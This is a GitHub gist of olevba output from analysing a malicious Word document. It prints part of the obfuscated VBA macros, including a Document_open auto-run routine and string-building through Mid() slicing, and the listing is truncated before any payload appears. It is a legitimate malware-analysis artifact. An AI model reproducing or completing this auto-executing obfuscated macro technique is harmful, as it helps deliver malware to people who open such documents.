Created
October 7, 2020 14:53
-
-
Save 0xShad3/c21ee2a84f3b1329a0df2ab80772ecca to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
shad3@zeroday:~/Downloads$ olevba Form.doc | |
olevba 0.56 on Python 2.7.18 - http://decalage.info/python/oletools | |
=============================================================================== | |
FILE: Form.doc | |
Type: OLE | |
ERROR invalid value for PROJECTDOCSTRING_Id expected 0005 got 0072 | |
------------------------------------------------------------------------------- | |
VBA MACRO E4zse1_cc4hzwen.cls | |
in file: Form.doc - OLE stream: u'Macros/VBA/E4zse1_cc4hzwen' | |
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - | |
Private Sub _ | |
Document_open() | |
S7xa93_tr32lzr3a0q = Array(Qm1uqaq6o337jz + "Y7qmv744_rkepugvwmSv0mg_r9w217 Qzt8vx6v5u1cg8" + Higfub0o0uj, D0hbkw4r1bja_, Smdlhwqd947fg.Cn8cn95oec8l11p0g, R8bjjadpxnuulq + "Hvnll2wwsqroqlj_ Edocn1kjizl6 Skn4qq7zz1bkt4 Qyeonooibw97cccbk") | |
End Sub | |
------------------------------------------------------------------------------- | |
VBA MACRO Smdlhwqd947fg.frm | |
in file: Form.doc - OLE stream: u'Macros/VBA/Smdlhwqd947fg' | |
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - | |
Function Cn8cn95oec8l11p0g() | |
On Error Resume Next | |
Set O3h3_4uyo8mn5wo58 = E4zse1_cc4hzwen.Signatures | |
wzWrspw = "jlXBPtd1 f6AkKoQjzwGjCbLvuk73QJc1lSazWAa" | |
CMPYjuYGVj = Mid(wzWrspw, 21, 1) | |
ipiirDE = CMPYjuYGVj | |
mlmaRVf = "v05iZdfKC W47oI0B29OrzT" | |
nShDLRmDHl = Mid(mlmaRVf, 7, 1) | |
GClSBinc = nShDLRmDHl | |
Set Jdkek2ainday7 = E4zse1_cc4hzwen.Signatures | |
vVJuql = "2udbywaK0p80nYkIk EmsH5F9XLWBXt1k2nr4nLnz" | |
doCiHssI = Mid(vVJuql, 5, 2) | |
nFNDHXwGMn = doCiHssI | |
RrMHQQijs = "P7wc0iMf5Eid3cmqQbAwjI2EXsAd dDpD8" | |
cpKkrNspn = Mid(RrMHQQijs, 29, 1) | |
TFDmE = cpKkrNspn | |
sNJbd = "uB1afjv SHwbIIr" | |
...... | |
...... | |
...... |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment